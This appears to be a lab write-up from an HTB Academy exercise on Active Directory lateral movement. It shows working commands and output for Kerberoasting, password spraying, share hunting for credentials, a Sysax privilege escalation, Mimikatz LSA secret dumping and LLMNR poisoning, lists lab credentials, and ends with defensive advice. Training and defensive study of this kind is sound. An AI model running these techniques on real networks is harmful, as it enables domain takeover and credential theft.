🔄Lateral Movement

🎯 Overview

Lateral Movement leverages domain credentials for Active Directory enumeration, share hunting, Kerberoasting, and privilege escalation across multiple hosts. Use BloodHound for attack path discovery, file share analysis for credential hunting, and post-exploitation techniques for comprehensive domain compromise.

🩸 BloodHound AD Enumeration

🔍 Data Collection

# SharpHound execution (from SYSTEM shell on DEV01)
SharpHound.exe -c All

# Collection methods enabled:
Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote

# Results:
2022-06-22T10:03:18 [*] Enumeration finished in 00:00:46
[*] Status: 3641 objects finished
[*] SharpHound Enumeration Completed! Happy Graphing!

🎯 Attack Path Analysis

# hporter account analysis:
- ForceChangePassword rights over ssmalls user
- Domain Users group membership
- Limited direct privileges

# ssmalls account capabilities:
- Standard domain user access
- Department Shares read access
- SYSVOL share access (all domain users)

# Key finding: Domain Users → RDP access to DEV01
Risk: Medium (Excessive Active Directory Group Privileges)

# Initial share enumeration (hporter)
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
# Result: Limited access, basic shares only

# Enhanced enumeration (ssmalls)
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M spider_plus --share 'Department Shares'

# Discovered shares:
\\DC01.INLANEFREIGHT.LOCAL\Department Shares (accessible)
\\DC01.INLANEFREIGHT.LOCAL\SYSVOL (domain users access)

💾 Credential Discovery in Shares

# Department Shares analysis:
/IT/Private/Development/SQL Express Backup.ps1

# File content analysis:
$mySrvConn.Login = "backupadm"
$mySrvConn.Password = "[REDACTED_PASSWORD]"
# Discovered: backupadm:[PASSWORD] (SQL backup service account)

# SYSVOL share enumeration:
\\172.16.8.3\sysvol\INLANEFREIGHT.LOCAL\scripts\adum.vbs

# Legacy credentials found:
Const cdoUserName = "account@inlanefreight.local"
Const cdoPassword = "L337^p@$$w0rD"
# Assessment: Likely outdated (2011/2015 script dates)

🎫 Kerberoasting Attack

🔍 SPN Account Discovery

# PowerView SPN enumeration
Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Select samaccountname

# Discovered SPN accounts:
azureconnect, backupjob, krbtgt, mssqlsvc, sqltest, sqlqa, sqldev, mssqladm, svc_sql, sqlprod, sapsso, sapvc, vmwarescvc

# Ticket extraction
Get-DomainUser * -SPN -verbose | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_spns.csv -NoTypeInformation

🔐 Hash Cracking Results

# Hashcat attack
hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt

# Successful crack:
backupjob:[CRACKED_PASSWORD]

# BloodHound analysis:
- Account has limited privileges
- No direct administrative access
- Document as finding: Weak Kerberos Authentication Configuration

🌊 Password Spraying Campaign

💥 Domain-Wide Password Attack

# DomainPasswordSpray execution
Invoke-DomainPasswordSpray -Password Welcome1

# Results:
[*] Password spraying against 2913 accounts
[*] SUCCESS! User:kdenunez Password:Welcome1
[*] SUCCESS! User:mmertle Password:Welcome1

# Assessment:
- 2 successful authentications
- Accounts have standard user privileges
- Document as finding: Weak Active Directory Passwords

🔍 Additional Enumeration Techniques

# GPP autologin search
proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M gpp_autologin
# Result: No Registry.xml files found

# AD user description analysis
Get-DomainUser * | select samaccountname,description | ?{$_.Description -ne $null}
# Found: frontdesk - "ILFreightLobby!" (limited privileges)
# Document as finding: Passwords in AD User Description Field

🖥️ MS01 Host Compromise

🔑 WinRM Access Discovery

# WinRM port enumeration
proxychains nmap -sT -p 5985 172.16.8.50
# Result: 5985/tcp open wsman

# Authentication with backupadm
proxychains evil-winrm -i 172.16.8.50 -u backupadm
# Success: Remote shell access to ACADEMY-AEN-MS01

🔺 Local Privilege Escalation

# Standard privilege checks
whoami /priv
# Result: No useful privileges

# Unattend.xml credential discovery
type c:\panther\unattend.xml
# Found AutoLogon credentials:
<Username>ilfserveradm</Username>
<Password><Value>Sys26Admin</Value></Password>

# User verification
net user ilfserveradm
# Result: Remote Desktop Users membership (non-admin)

🛠️ Sysax Automation Privilege Escalation

# Vulnerable software discovery:
C:\Program Files (x86)\SysaxAutomation\

# Exploitation steps:
1. Create pwn.bat: "net localgroup administrators ilfserveradm /add"
2. Open sysaxschedscp.exe
3. Setup Scheduled/Triggered Tasks → Add task (Triggered)
4. Monitor folder: C:\Users\ilfserveradm\Documents
5. Run program: C:\Users\ilfserveradm\Documents\pwn.bat
6. Uncheck "Login as the following user" (runs as SYSTEM)
7. Create trigger file in monitored directory

# Result: ilfserveradm added to Administrators group

💎 Post-Exploitation Credential Harvesting

# Mimikatz execution (as local admin)
mimikatz.exe
privilege::debug
token::elevate
lsadump::secrets

# LSA Secrets discovered:
Secret: DefaultPassword
cur/text: DBAilfreight1!

# Registry query for username
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name "DefaultUserName"
# Result: DefaultUserName : mssqladm

# Final credential pair:
mssqladm:DBAilfreight1!

🕷️ Network Credential Harvesting

🎣 Inveigh LLMNR/NBT-NS Poisoning

# Inveigh execution (as local admin)
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

# Configuration:
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.8.50
[+] LLMNR Spoofer = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled

# Captured credentials:
[+] SMB(445) NTLMv2 captured for ACADEMY-AEN-DEV\mpalledorous from 172.16.8.20
# Hash format: NTLMv2 (suitable for offline cracking)

📊 Additional Intelligence Gathering

# Interesting files discovered:
c:\budget_data.xlsx          # Potential sensitive data
c:\Inlanefreight.kdbx       # KeePass database file

# Browser credential hunting:
lazagne.exe browsers -firefox
# Result: No stored credentials found

# Assessment notes:
- Files in unusual locations (security concern)
- KeePass database (potential password vault)
- Development environment artifacts

🎯 Credential Summary

🔐 Compromised Accounts Inventory

# Domain accounts:
hporter:Gr8hambino!           # Initial domain foothold
ssmalls:Str0ngpass86!         # Password changed via ForceChangePassword
kdenunez:Welcome1             # Password spraying result
mmertle:Welcome1              # Password spraying result
mssqladm:DBAilfreight1!       # LSA Secrets from MS01

# Local accounts:
Administrator (DEV01):NT_HASH  # SAM database extraction
mpalledorous (DEV01):NT_HASH   # SAM database extraction
ilfserveradm (MS01):Sys26Admin # Unattend.xml discovery

# Legacy/Historical:
account:L337^p@$$w0rD          # SYSVOL script (outdated)
frontdesk:ILFreightLobby!      # AD description field
backupjob:[PASSWORD]           # Kerberoasting result

🎯 Access Matrix

# Host access capabilities:
DEV01 (172.16.8.20):
- SYSTEM access (PrintSpoofer)
- Domain joined (AD enumeration)
- RDP access (all Domain Users)

MS01 (172.16.8.50):
- Local admin access (Sysax exploit)
- WinRM connectivity
- Network position for poisoning attacks

DMZ01 (172.16.8.120):
- Root access (SSH key)
- Pivot infrastructure
- Network monitoring capability

🔍 Attack Path Progression

📊 Lateral Movement Chain

# Phase 1: Initial domain access
hporter:Gr8hambino! → Domain Users privileges

# Phase 2: Privilege escalation
ForceChangePassword → ssmalls account control

# Phase 3: Share enumeration
Department Shares → SQL backup script → backupadm credentials

# Phase 4: Host compromise
WinRM access → MS01 foothold → Local admin escalation

# Phase 5: Credential harvesting
Unattend.xml → AutoLogon → mssqladm discovery

🎯 Next Phase Preparation

# Available attack vectors:
1. mssqladm account exploitation (SQL Server access)
2. Network poisoning attacks (Inveigh results)
3. Additional host enumeration (172.16.8.50 fully compromised)
4. KeePass database analysis (if accessible)
5. Domain controller attack preparation

# Privilege escalation targets:
- SQL Server service account privileges
- Cached credential analysis
- Additional unattend.xml files
- Service account hunting

🎯 HTB Academy Lab Context

📋 Techniques Demonstrated

# Active Directory enumeration:
- BloodHound data collection and analysis
- PowerView privilege enumeration
- Share hunting with CrackMapExec
- SPN account discovery and Kerberoasting

# Lateral movement methods:
- ForceChangePassword privilege abuse
- WinRM service exploitation
- RDP access with drive redirection
- Local privilege escalation techniques

# Credential discovery sources:
- File share configuration files
- Registry autologon settings
- LSA Secrets extraction
- Network traffic poisoning

🔍 Professional Methodology

# Systematic approach:
- Complete domain enumeration before moving
- Document all discovered credentials
- Test multiple attack vectors simultaneously
- Maintain operational security during changes

# Evidence collection:
- Screenshot all successful authentications
- Save all discovered configuration files
- Document privilege escalation steps
- Track network access changes

🛡️ Defensive Recommendations

🔒 Active Directory Security

# Account management:
- Implement least privilege principles
- Regular password policy enforcement
- Monitor ForceChangePassword privileges
- Audit service account permissions

# File share security:
- Restrict Department Shares access
- Remove credentials from configuration files
- Implement proper NTFS permissions
- Regular share permission audits

# Network security:
- Disable LLMNR/NBT-NS if not needed
- Implement network segmentation
- Monitor for lateral movement patterns
- Deploy endpoint detection and response

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